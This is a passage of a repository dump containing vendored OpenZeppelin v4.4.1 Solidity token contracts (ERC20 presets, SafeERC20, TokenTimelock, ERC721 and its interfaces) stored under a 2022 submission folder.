https://eips.ethereum.org/EIPS/eip-2612#specification[relevant EIP\n     * section].\n     */\n    function permit(\n        address owner,\n        address spender,\n        uint256 value,\n        uint256 deadline,\n        uint8 v,\n        bytes32 r,\n        bytes32 s\n    ) external;\n\n    /**\n     * @dev Returns the current nonce for `owner`. This value must be\n     * included whenever a signature is generated for {permit}.\n     *\n     * Every successful call to {permit} increases ``owner``'s nonce by one. This\n     * prevents a signature from being used multiple times.\n     */\n    function nonces(address owner) external view returns (uint256);\n\n    /**\n     * @dev Returns the domain separator used in the encoding of the signature for {permit}, as defined by {EIP712}.\n     */\n    // solhint-disable-next-line func-name-mixedcase\n    function DOMAIN_SEPARATOR() external view returns (bytes32);\n}\n"
  },
  {
    "path": "2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts/contracts/token/ERC20/presets/ERC20PresetFixedSupply.sol",
    "content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts v4.4.1 (token/ERC20/presets/ERC20PresetFixedSupply.sol)\npragma solidity ^0.8.0;\n\nimport \"../extensions/ERC20Burnable.sol\";\n\n/**\n * @dev {ERC20} token, including:\n *\n *  - Preminted initial supply\n *  - Ability for holders to burn (destroy) their tokens\n *  - No access control mechanism (for minting/pausing) and hence no governance\n *\n * This contract uses {ERC20Burnable} to include burn capabilities - head to\n * its documentation for details.\n *\n * _Available since v3.4._\n */\ncontract ERC20PresetFixedSupply is ERC20Burnable {\n    /**\n     * @dev Mints `initialSupply` amount of token and transfers them to `owner`.\n     *\n     * See {ERC20-constructor}.\n     */\n    constructor(\n        string memory name,\n        string memory symbol,\n        uint256 initialSupply,\n        address owner\n    ) ERC20(name, symbol) {\n        _mint(owner, initialSupply);\n    }\n}\n"
  },
  {
    "path": "2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts/contracts/token/ERC20/presets/ERC20PresetMinterPauser.sol",
    "content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts v4.4.1 (token/ERC20/presets/ERC20PresetMinterPauser.sol)\n\npragma solidity ^0.8.0;\n\nimport \"../ERC20.sol\";\nimport \"../extensions/ERC20Burnable.sol\";\nimport \"../extensions/ERC20Pausable.sol\";\nimport \"../../../access/AccessControlEnumerable.sol\";\nimport \"../../../utils/Context.sol\";\n\n/**\n * @dev {ERC20} token, including:\n *\n *  - ability for holders to burn (destroy) their tokens\n *  - a minter role that allows for token minting (creation)\n *  - a pauser role that allows to stop all token transfers\n *\n * This contract uses {AccessControl} to lock permissioned functions using the\n * different roles - head to its documentation for details.\n *\n * The account that deploys the contract will be granted the minter and pauser\n * roles, as well as the default admin role, which will let it grant both minter\n * and pauser roles to other accounts.\n */\ncontract ERC20PresetMinterPauser is Context, AccessControlEnumerable, ERC20Burnable, ERC20Pausable {\n    bytes32 public constant MINTER_ROLE = keccak256(\"MINTER_ROLE\");\n    bytes32 public constant PAUSER_ROLE = keccak256(\"PAUSER_ROLE\");\n\n    /**\n     * @dev Grants `DEFAULT_ADMIN_ROLE`, `MINTER_ROLE` and `PAUSER_ROLE` to the\n     * account that deploys the contract.\n     *\n     * See {ERC20-constructor}.\n     */\n    constructor(string memory name, string memory symbol) ERC20(name, symbol) {\n        _setupRole(DEFAULT_ADMIN_ROLE, _msgSender());\n\n        _setupRole(MINTER_ROLE, _msgSender());\n        _setupRole(PAUSER_ROLE, _msgSender());\n    }\n\n    /**\n     * @dev Creates `amount` new tokens for `to`.\n     *\n     * See {ERC20-_mint}.\n     *\n     * Requirements:\n     *\n     * - the caller must have the `MINTER_ROLE`.\n     */\n    function mint(address to, uint256 amount) public virtual {\n        require(hasRole(MINTER_ROLE, _msgSender()), \"ERC20PresetMinterPauser: must have minter role to mint\");\n        _mint(to, amount);\n    }\n\n    /**\n     * @dev Pauses all token transfers.\n     *\n     * See {ERC20Pausable} and {Pausable-_pause}.\n     *\n     * Requirements:\n     *\n     * - the caller must have the `PAUSER_ROLE`.\n     */\n    function pause() public virtual {\n        require(hasRole(PAUSER_ROLE, _msgSender()), \"ERC20PresetMinterPauser: must have pauser role to pause\");\n        _pause();\n    }\n\n    /**\n     * @dev Unpauses all token transfers.\n     *\n     * See {ERC20Pausable} and {Pausable-_unpause}.\n     *\n     * Requirements:\n     *\n     * - the caller must have the `PAUSER_ROLE`.\n     */\n    function unpause() public virtual {\n        require(hasRole(PAUSER_ROLE, _msgSender()), \"ERC20PresetMinterPauser: must have pauser role to unpause\");\n        _unpause();\n    }\n\n    function _beforeTokenTransfer(\n        address from,\n        address to,\n        uint256 amount\n    ) internal virtual override(ERC20, ERC20Pausable) {\n        super._beforeTokenTransfer(from, to, amount);\n    }\n}\n"
  },
  {
    "path": "2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts/contracts/token/ERC20/utils/SafeERC20.sol",
    "content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts v4.4.1 (token/ERC20/utils/SafeERC20.sol)\n\npragma solidity ^0.8.0;\n\nimport \"../IERC20.sol\";\nimport \"../../../utils/Address.sol\";\n\n/**\n * @title SafeERC20\n * @dev Wrappers around ERC20 operations that throw on failure (when the token\n * contract returns false). Tokens that return no value (and instead revert or\n * throw on failure) are also supported, non-reverting calls are assumed to be\n * successful.\n * To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract,\n * which allows you to call the safe operations as `token.safeTransfer(...)`, etc.\n */\nlibrary SafeERC20 {\n    using Address for address;\n\n    function safeTransfer(\n        IERC20 token,\n        address to,\n        uint256 value\n    ) internal {\n        _callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));\n    }\n\n    function safeTransferFrom(\n        IERC20 token,\n        address from,\n        address to,\n        uint256 value\n    ) internal {\n        _callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));\n    }\n\n    /**\n     * @dev Deprecated. This function has issues similar to the ones found in\n     * {IERC20-approve}, and its usage is discouraged.\n     *\n     * Whenever possible, use {safeIncreaseAllowance} and\n     * {safeDecreaseAllowance} instead.\n     */\n    function safeApprove(\n        IERC20 token,\n        address spender,\n        uint256 value\n    ) internal {\n        // safeApprove should only be called when setting an initial allowance,\n        // or when resetting it to zero. To increase and decrease it, use\n        // 'safeIncreaseAllowance' and 'safeDecreaseAllowance'\n        require(\n            (value == 0) || (token.allowance(address(this), spender) == 0),\n            \"SafeERC20: approve from non-zero to non-zero allowance\"\n        );\n        _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));\n    }\n\n    function safeIncreaseAllowance(\n        IERC20 token,\n        address spender,\n        uint256 value\n    ) internal {\n        uint256 newAllowance = token.allowance(address(this), spender) + value;\n        _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));\n    }\n\n    function safeDecreaseAllowance(\n        IERC20 token,\n        address spender,\n        uint256 value\n    ) internal {\n        unchecked {\n            uint256 oldAllowance = token.allowance(address(this), spender);\n            require(oldAllowance >= value, \"SafeERC20: decreased allowance below zero\");\n            uint256 newAllowance = oldAllowance - value;\n            _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));\n        }\n    }\n\n    /**\n     * @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement\n     * on the return value: the return value is optional (but if data is returned, it must not be false).\n     * @param token The token targeted by the call.\n     * @param data The call data (encoded using abi.encode or one of its variants).\n     */\n    function _callOptionalReturn(IERC20 token, bytes memory data) private {\n        // We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since\n        // we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that\n        // the target address contains contract code and also asserts for success in the low-level call.\n\n        bytes memory returndata = address(token).functionCall(data, \"SafeERC20: low-level call failed\");\n        if (returndata.length > 0) {\n            // Return data is optional\n            require(abi.decode(returndata, (bool)), \"SafeERC20: ERC20 operation did not succeed\");\n        }\n    }\n}\n"
  },
  {
    "path": "2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts/contracts/token/ERC20/utils/TokenTimelock.sol",
    "content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts v4.4.1 (token/ERC20/utils/TokenTimelock.sol)\n\npragma solidity ^0.8.0;\n\nimport \"./SafeERC20.sol\";\n\n/**\n * @dev A token holder contract that will allow a beneficiary to extract the\n * tokens after a given release time.\n *\n * Useful for simple vesting schedules like \"advisors get all of their tokens\n * after 1 year\".\n */\ncontract TokenTimelock {\n    using SafeERC20 for IERC20;\n\n    // ERC20 basic token contract being held\n    IERC20 private immutable _token;\n\n    // beneficiary of tokens after they are released\n    address private immutable _beneficiary;\n\n    // timestamp when token release is enabled\n    uint256 private immutable _releaseTime;\n\n    constructor(\n        IERC20 token_,\n        address beneficiary_,\n        uint256 releaseTime_\n    ) {\n        require(releaseTime_ > block.timestamp, \"TokenTimelock: release time is before current time\");\n        _token = token_;\n        _beneficiary = beneficiary_;\n        _releaseTime = releaseTime_;\n    }\n\n    /**\n     * @return the token being held.\n     */\n    function token() public view virtual returns (IERC20) {\n        return _token;\n    }\n\n    /**\n     * @return the beneficiary of the tokens.\n     */\n    function beneficiary() public view virtual returns (address) {\n        return _beneficiary;\n    }\n\n    /**\n     * @return the time when the tokens are released.\n     */\n    function releaseTime() public view virtual returns (uint256) {\n        return _releaseTime;\n    }\n\n    /**\n     * @notice Transfers tokens held by timelock to beneficiary.\n     */\n    function release() public virtual {\n        require(block.timestamp >= releaseTime(), \"TokenTimelock: current time is before release time\");\n\n        uint256 amount = token().balanceOf(address(this));\n        require(amount > 0, \"TokenTimelock: no tokens to release\");\n\n        token().safeTransfer(beneficiary(), amount);\n    }\n}\n"
  },
  {
    "path": "2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts/contracts/token/ERC721/ERC721.sol",
    "content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts v4.4.1 (token/ERC721/ERC721.sol)\n\npragma solidity ^0.8.0;\n\nimport \"./IERC721.sol\";\nimport \"./IERC721Receiver.sol\";\nimport \"./extensions/IERC721Metadata.sol\";\nimport \"../../utils/Address.sol\";\nimport \"../../utils/Context.sol\";\nimport \"../../utils/Strings.sol\";\nimport \"../../utils/introspection/ERC165.sol\";\n\n/**\n * @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including\n * the Metadata extension, but not including the Enumerable extension, which is available separately as\n * {ERC721Enumerable}.\n */\ncontract ERC721 is Context, ERC165, IERC721, IERC721Metadata {\n    using Address for address;\n    using Strings for uint256;\n\n    // Token name\n    string private _name;\n\n    // Token symbol\n    string private _symbol;\n\n    // Mapping from token ID to owner address\n    mapping(uint256 => address) private _owners;\n\n    // Mapping owner address to token count\n    mapping(address => uint256) private _balances;\n\n    // Mapping from token ID to approved address\n    mapping(uint256 => address) private _tokenApprovals;\n\n    // Mapping from owner to operator approvals\n    mapping(address => mapping(address => bool)) private _operatorApprovals;\n\n    /**\n     * @dev Initializes the contract by setting a `name` and a `symbol` to the token collection.\n     */\n    constructor(string memory name_, string memory symbol_) {\n        _name = name_;\n        _symbol = symbol_;\n    }\n\n    /**\n     * @dev See {IERC165-supportsInterface}.\n     */\n    function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) {\n        return\n            interfaceId == type(IERC721).interfaceId ||\n            interfaceId == type(IERC721Metadata).interfaceId ||\n            super.supportsInterface(interfaceId);\n    }\n\n    /**\n     * @dev See {IERC721-balanceOf}.\n     */\n    function balanceOf(address owner) public view virtual override returns (uint256) {\n        require(owner != address(0), \"ERC721: balance query for the zero address\");\n        return _balances[owner];\n    }\n\n    /**\n     * @dev See {IERC721-ownerOf}.\n     */\n    function ownerOf(uint256 tokenId) public view virtual override returns (address) {\n        address owner = _owners[tokenId];\n        require(owner != address(0), \"ERC721: owner query for nonexistent token\");\n        return owner;\n    }\n\n    /**\n     * @dev See {IERC721Metadata-name}.\n     */\n    function name() public view virtual override returns (string memory) {\n        return _name;\n    }\n\n    /**\n     * @dev See {IERC721Metadata-symbol}.\n     */\n    function symbol() public view virtual override returns (string memory) {\n        return _symbol;\n    }\n\n    /**\n     * @dev See {IERC721Metadata-tokenURI}.\n     */\n    function tokenURI(uint256 tokenId) public view virtual override returns (string memory) {\n        require(_exists(tokenId), \"ERC721Metadata: URI query for nonexistent token\");\n\n        string memory baseURI = _baseURI();\n        return bytes(baseURI).length > 0 ? string(abi.encodePacked(baseURI, tokenId.toString())) : \"\";\n    }\n\n    /**\n     * @dev Base URI for computing {tokenURI}. If set, the resulting URI for each\n     * token will be the concatenation of the `baseURI` and the `tokenId`. Empty\n     * by default, can be overriden in child contracts.\n     */\n    function _baseURI() internal view virtual returns (string memory) {\n        return \"\";\n    }\n\n    /**\n     * @dev See {IERC721-approve}.\n     */\n    function approve(address to, uint256 tokenId) public virtual override {\n        address owner = ERC721.ownerOf(tokenId);\n        require(to != owner, \"ERC721: approval to current owner\");\n\n        require(\n            _msgSender() == owner || isApprovedForAll(owner, _msgSender()),\n            \"ERC721: approve caller is not owner nor approved for all\"\n        );\n\n        _approve(to, tokenId);\n    }\n\n    /**\n     * @dev See {IERC721-getApproved}.\n     */\n    function getApproved(uint256 tokenId) public view virtual override returns (address) {\n        require(_exists(tokenId), \"ERC721: approved query for nonexistent token\");\n\n        return _tokenApprovals[tokenId];\n    }\n\n    /**\n     * @dev See {IERC721-setApprovalForAll}.\n     */\n    function setApprovalForAll(address operator, bool approved) public virtual override {\n        _setApprovalForAll(_msgSender(), operator, approved);\n    }\n\n    /**\n     * @dev See {IERC721-isApprovedForAll}.\n     */\n    function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) {\n        return _operatorApprovals[owner][operator];\n    }\n\n    /**\n     * @dev See {IERC721-transferFrom}.\n     */\n    function transferFrom(\n        address from,\n        address to,\n        uint256 tokenId\n    ) public virtual override {\n        //solhint-disable-next-line max-line-length\n        require(_isApprovedOrOwner(_msgSender(), tokenId), \"ERC721: transfer caller is not owner nor approved\");\n\n        _transfer(from, to, tokenId);\n    }\n\n    /**\n     * @dev See {IERC721-safeTransferFrom}.\n     */\n    function safeTransferFrom(\n        address from,\n        address to,\n        uint256 tokenId\n    ) public virtual override {\n        safeTransferFrom(from, to, tokenId, \"\");\n    }\n\n    /**\n     * @dev See {IERC721-safeTransferFrom}.\n     */\n    function safeTransferFrom(\n        address from,\n        address to,\n        uint256 tokenId,\n        bytes memory _data\n    ) public virtual override {\n        require(_isApprovedOrOwner(_msgSender(), tokenId), \"ERC721: transfer caller is not owner nor approved\");\n        _safeTransfer(from, to, tokenId, _data);\n    }\n\n    /**\n     * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients\n     * are aware of the ERC721 protocol to prevent tokens from being forever locked.\n     *\n     * `_data` is additional data, it has no specified format and it is sent in call to `to`.\n     *\n     * This internal function is equivalent to {safeTransferFrom}, and can be used to e.g.\n     * implement alternative mechanisms to perform token transfer, such as signature-based.\n     *\n     * Requirements:\n     *\n     * - `from` cannot be the zero address.\n     * - `to` cannot be the zero address.\n     * - `tokenId` token must exist and be owned by `from`.\n     * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.\n     *\n     * Emits a {Transfer} event.\n     */\n    function _safeTransfer(\n        address from,\n        address to,\n        uint256 tokenId,\n        bytes memory _data\n    ) internal virtual {\n        _transfer(from, to, tokenId);\n        require(_checkOnERC721Received(from, to, tokenId, _data), \"ERC721: transfer to non ERC721Receiver implementer\");\n    }\n\n    /**\n     * @dev Returns whether `tokenId` exists.\n     *\n     * Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}.\n     *\n     * Tokens start existing when they are minted (`_mint`),\n     * and stop existing when they are burned (`_burn`).\n     */\n    function _exists(uint256 tokenId) internal view virtual returns (bool) {\n        return _owners[tokenId] != address(0);\n    }\n\n    /**\n     * @dev Returns whether `spender` is allowed to manage `tokenId`.\n     *\n     * Requirements:\n     *\n     * - `tokenId` must exist.\n     */\n    function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) {\n        require(_exists(tokenId), \"ERC721: operator query for nonexistent token\");\n        address owner = ERC721.ownerOf(tokenId);\n        return (spender == owner || getApproved(tokenId) == spender || isApprovedForAll(owner, spender));\n    }\n\n    /**\n     * @dev Safely mints `tokenId` and transfers it to `to`.\n     *\n     * Requirements:\n     *\n     * - `tokenId` must not exist.\n     * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.\n     *\n     * Emits a {Transfer} event.\n     */\n    function _safeMint(address to, uint256 tokenId) internal virtual {\n        _safeMint(to, tokenId, \"\");\n    }\n\n    /**\n     * @dev Same as {xref-ERC721-_safeMint-address-uint256-}[`_safeMint`], with an additional `data` parameter which is\n     * forwarded in {IERC721Receiver-onERC721Received} to contract recipients.\n     */\n    function _safeMint(\n        address to,\n        uint256 tokenId,\n        bytes memory _data\n    ) internal virtual {\n        _mint(to, tokenId);\n        require(\n            _checkOnERC721Received(address(0), to, tokenId, _data),\n            \"ERC721: transfer to non ERC721Receiver implementer\"\n        );\n    }\n\n    /**\n     * @dev Mints `tokenId` and transfers it to `to`.\n     *\n     * WARNING: Usage of this method is discouraged, use {_safeMint} whenever possible\n     *\n     * Requirements:\n     *\n     * - `tokenId` must not exist.\n     * - `to` cannot be the zero address.\n     *\n     * Emits a {Transfer} event.\n     */\n    function _mint(address to, uint256 tokenId) internal virtual {\n        require(to != address(0), \"ERC721: mint to the zero address\");\n        require(!_exists(tokenId), \"ERC721: token already minted\");\n\n        _beforeTokenTransfer(address(0), to, tokenId);\n\n        _balances[to] += 1;\n        _owners[tokenId] = to;\n\n        emit Transfer(address(0), to, tokenId);\n    }\n\n    /**\n     * @dev Destroys `tokenId`.\n     * The approval is cleared when the token is burned.\n     *\n     * Requirements:\n     *\n     * - `tokenId` must exist.\n     *\n     * Emits a {Transfer} event.\n     */\n    function _burn(uint256 tokenId) internal virtual {\n        address owner = ERC721.ownerOf(tokenId);\n\n        _beforeTokenTransfer(owner, address(0), tokenId);\n\n        // Clear approvals\n        _approve(address(0), tokenId);\n\n        _balances[owner] -= 1;\n        delete _owners[tokenId];\n\n        emit Transfer(owner, address(0), tokenId);\n    }\n\n    /**\n     * @dev Transfers `tokenId` from `from` to `to`.\n     *  As opposed to {transferFrom}, this imposes no restrictions on msg.sender.\n     *\n     * Requirements:\n     *\n     * - `to` cannot be the zero address.\n     * - `tokenId` token must be owned by `from`.\n     *\n     * Emits a {Transfer} event.\n     */\n    function _transfer(\n        address from,\n        address to,\n        uint256 tokenId\n    ) internal virtual {\n        require(ERC721.ownerOf(tokenId) == from, \"ERC721: transfer of token that is not own\");\n        require(to != address(0), \"ERC721: transfer to the zero address\");\n\n        _beforeTokenTransfer(from, to, tokenId);\n\n        // Clear approvals from the previous owner\n        _approve(address(0), tokenId);\n\n        _balances[from] -= 1;\n        _balances[to] += 1;\n        _owners[tokenId] = to;\n\n        emit Transfer(from, to, tokenId);\n    }\n\n    /**\n     * @dev Approve `to` to operate on `tokenId`\n     *\n     * Emits a {Approval} event.\n     */\n    function _approve(address to, uint256 tokenId) internal virtual {\n        _tokenApprovals[tokenId] = to;\n        emit Approval(ERC721.ownerOf(tokenId), to, tokenId);\n    }\n\n    /**\n     * @dev Approve `operator` to operate on all of `owner` tokens\n     *\n     * Emits a {ApprovalForAll} event.\n     */\n    function _setApprovalForAll(\n        address owner,\n        address operator,\n        bool approved\n    ) internal virtual {\n        require(owner != operator, \"ERC721: approve to caller\");\n        _operatorApprovals[owner][operator] = approved;\n        emit ApprovalForAll(owner, operator, approved);\n    }\n\n    /**\n     * @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address.\n     * The call is not executed if the target address is not a contract.\n     *\n     * @param from address representing the previous owner of the given token ID\n     * @param to target address that will receive the tokens\n     * @param tokenId uint256 ID of the token to be transferred\n     * @param _data bytes optional data to send along with the call\n     * @return bool whether the call correctly returned the expected magic value\n     */\n    function _checkOnERC721Received(\n        address from,\n        address to,\n        uint256 tokenId,\n        bytes memory _data\n    ) private returns (bool) {\n        if (to.isContract()) {\n            try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (bytes4 retval) {\n                return retval == IERC721Receiver.onERC721Received.selector;\n            } catch (bytes memory reason) {\n                if (reason.length == 0) {\n                    revert(\"ERC721: transfer to non ERC721Receiver implementer\");\n                } else {\n                    assembly {\n                        revert(add(32, reason), mload(reason))\n                    }\n                }\n            }\n        } else {\n            return true;\n        }\n    }\n\n    /**\n     * @dev Hook that is called before any token transfer. This includes minting\n     * and burning.\n     *\n     * Calling conditions:\n     *\n     * - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be\n     * transferred to `to`.\n     * - When `from` is zero, `tokenId` will be minted for `to`.\n     * - When `to` is zero, ``from``'s `tokenId` will be burned.\n     * - `from` and `to` are never both zero.\n     *\n     * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].\n     */\n    function _beforeTokenTransfer(\n        address from,\n        address to,\n        uint256 tokenId\n    ) internal virtual {}\n}\n"
  },
  {
    "path": "2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts/contracts/token/ERC721/IERC721.sol",
    "content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts v4.4.1 (token/ERC721/IERC721.sol)\n\npragma solidity ^0.8.0;\n\nimport \"../../utils/introspection/IERC165.sol\";\n\n/**\n * @dev Required interface of an ERC721 compliant contract.\n */\ninterface IERC721 is IERC165 {\n    /**\n     * @dev Emitted when `tokenId` token is transferred from `from` to `to`.\n     */\n    event Transfer(address indexed from, address indexed to, uint256 indexed tokenId);\n\n    /**\n     * @dev Emitted when `owner` enables `approved` to manage the `tokenId` token.\n     */\n    event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId);\n\n    /**\n     * @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets.\n     */\n    event ApprovalForAll(address indexed owner, address indexed operator, bool approved);\n\n    /**\n     * @dev Returns the number of tokens in ``owner``'s account.\n     */\n    function balanceOf(address owner) external view returns (uint256 balance);\n\n    /**\n     * @dev Returns the owner of the `tokenId` token.\n     *\n     * Requirements:\n     *\n     * - `tokenId` must exist.\n     */\n    function ownerOf(uint256 tokenId) external view returns (address owner);\n\n    /**\n     * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients\n     * are aware of the ERC721 protocol to prevent tokens from being forever locked.\n     *\n     * Requirements:\n     *\n     * - `from` cannot be the zero address.\n     * - `to` cannot be the zero address.\n     * - `tokenId` token must exist and be owned by `from`.\n     * - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}.\n     * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.\n     *\n     * Emits a {Transfer} event.\n     */\n    function safeTransferFrom(\n        address from,\n        address to,\n        uint256 tokenId\n    ) external;\n\n    /**\n     * @dev Transfers `tokenId` token from `from` to `to`.\n     *\n     * WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible.\n     *\n     * Requirements:\n     *\n     * - `from` cannot be the zero address.\n     * - `to` cannot be the zero address.\n     * - `tokenId` token must be owned by `from`.\n     * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.\n     *\n     * Emits a {Transfer} event.\n     */\n    function transferFrom(\n        address from,\n        address to,\n        uint256 tokenId\n    ) external;\n\n    /**\n     * @dev Gives permission to `to` to transfer `tokenId` token to another account.\n     * The approval is cleared when the token is transferred.\n     *\n     * Only a single account can be approved at a time, so approving the zero address clears previous approvals.\n     *\n     * Requirements:\n     *\n     * - The caller must own the token or be an approved operator.\n     * - `tokenId` must exist.\n     *\n     * Emits an {Approval} event.\n     */\n    function approve(address to, uint256 tokenId) external;\n\n    /**\n     * @dev Returns the account approved for `tokenId` token.\n     *\n     * Requirements:\n     *\n     * - `tokenId` must exist.\n     */\n    function getApproved(uint256 tokenId) external view returns (address operator);\n\n    /**\n     * @dev Approve or remove `operator` as an operator for the caller.\n     * Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller.\n     *\n     * Requirements:\n     *\n     * - The `operator` cannot be the caller.\n     *\n     * Emits an {ApprovalForAll} event.\n     */\n    function setApprovalForAll(address operator, bool _approved) external;\n\n    /**\n     * @dev Returns if the `operator` is allowed to manage all of the assets of `owner`.\n     *\n     * See {setApprovalForAll}\n     */\n    function isApprovedForAll(address owner, address operator) external view returns (bool);\n\n    /**\n     * @dev Safely transfers `tokenId` token from `from` to `to`.\n     *\n     * Requirements:\n     *\n     * - `from` cannot be the zero address.\n     * - `to` cannot be the zero address.\n     * - `tokenId` token must exist and be owned by `from`.\n     * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.\n     * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.\n     *\n     * Emits a {Transfer} event.\n     */\n    function safeTransferFrom(\n        address from,\n        address to,\n        uint256 tokenId,\n        bytes calldata data\n    ) external;\n}\n"
  },
  {
    "path": "2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts/contracts/token/ERC721/IERC721Receiver.sol",
    "content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts v4.4.1 (token/ERC721/IERC721Receiver.sol)\n\npragma solidity ^0.8.0;\n\n/**\n * @title ERC721 token receiver interface\n * @dev Interface for any contract that wants to support safeTransfers\n * from ERC721 asset contracts.\n */\ninterface IERC721Receiver {\n    /**\n     * @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom}\n     * by `operator` from `from`, this function is called.\n     *\n     * It must return its Solidity selector to confirm the token transfer.\n     * If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted.\n     *\n     * The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`.\n     */\n    function onERC721Received(\n        address operator,\n        address from,\n        uint256 tokenId,\n        bytes calldata data\n    ) external returns (bytes4);\n}\n"
  },
  {
    "path": "2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts/contracts/token/ERC721/README.adoc",
    "content": "= ERC 721\n\n[.readme-notice]\nNOTE: This document is better viewed at https://docs.openzeppelin.com/contracts/api/token/erc721\n\nThis set of interfaces, contracts, and utilities are all related to the https://eips.ethereum.org/EIPS/eip-721[ERC721 Non-Fungible Token Standard].\n\nTIP: For a walk through on how to create an ERC721 token read our xref:ROOT:erc721.adoc[ERC721 guide].\n\nThe EIP consists of three interfaces, found here as {IERC721}, {IERC721Metadata}, and {IERC721Enumerable}. Only the first one is required in a contract to be ERC721 compliant. The core interface and the metadata extension are both implemented in {ERC721}. The enumerable extension is provided separately in {ERC721Enumerable}.\n\nAdditionally, {IERC721Receiver} can be used to prevent tokens from becoming forever locked in contracts. Imagine sending an in-game item to an exchange address that can't send it back!. When using <<IERC721-safeTransferFrom,`safeTransferFrom`>>, the token contract checks to see that the receiver is an {IERC721Receiver}, which implies that it knows how to handle {ERC721} tokens. If you're writing a contract that needs to receive {ERC721} tokens, you'll want to include this interface.\n\nAdditionally there are multiple custom extensions, including:\n\n* designation of addresses that can pause token transfers for all users ({ERC721Pausable}).\n* destruction of own tokens ({ERC721Burnable}).\n\nNOTE: This core set of contracts is designed to be unopinionated, allowing developers to access the internal functions in ERC721 (such as <<ERC721-_mint-address-uint256-,`_mint`>>) and expose them as external functions in the way they prefer. On the other hand, xref:ROOT:erc721.adoc#Presets[ERC721 Presets] (such as {ERC721PresetMinterPauserAutoId}) are designed using opinionated patterns to provide developers with ready to use, deployable contracts.\n\n\n== Core\n\n{{IERC721}}\n\n{{IERC721Metadata}}\n\n{{IERC721Enumerable}}\n\n{{ERC721}}\n\n{{ERC721Enumerable}}\n\n{{IERC721Receiver}}\n\n== Extensions\n\n{{ERC721Pausable}}\n\n{{ERC721Burnable}}\n\n{{ERC721URIStorage}}\n\n== Presets\n\nThese contracts are preconfigured combinations of the above features. They can be used through inheritance or as models to copy and paste their source code.\n\n{{ERC721PresetMinterPauserAutoId}}\n\n== Utilities\n\n{{ERC721Holder}}\n"
  },
  {
    "path": "2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts/contracts/token/ERC721/extensions/ERC721Burnable.sol",
    "content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts v4.4.1 (token/ERC721/extensions/ERC721Burnable.sol)\n\npragma solidity ^0.8.0;\n\nimport \"../ERC721.sol\";\nimport \"../../../utils/Context.sol\";\n\n/**\n * @title ERC721 Burnable Token\n * @dev ERC721 Token that can be irreversibly burned (destroyed).\n */\nabstract contract ERC721Burnable is Context, ERC721 {\n    /**\n     * @dev Burns `tokenId`. See {ERC721-_burn}.\n     *\n     * Requirements:\n     *\n     * - The caller must own `tokenId` or be an approved operator.\n     */\n    function burn(uint256 tokenId) public virtual {\n        //solhint-disable-next-line max-line-length\n        require(_isApprovedOrOwner(_msgSender(), tokenId), \"ERC721Burnable: caller is not owner nor approved\");\n        _burn(tokenId);\n    }\n}\n"
  },
  {
    "path": "2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts/contracts/token/ERC721/extensions/ERC721Enumerable.sol",
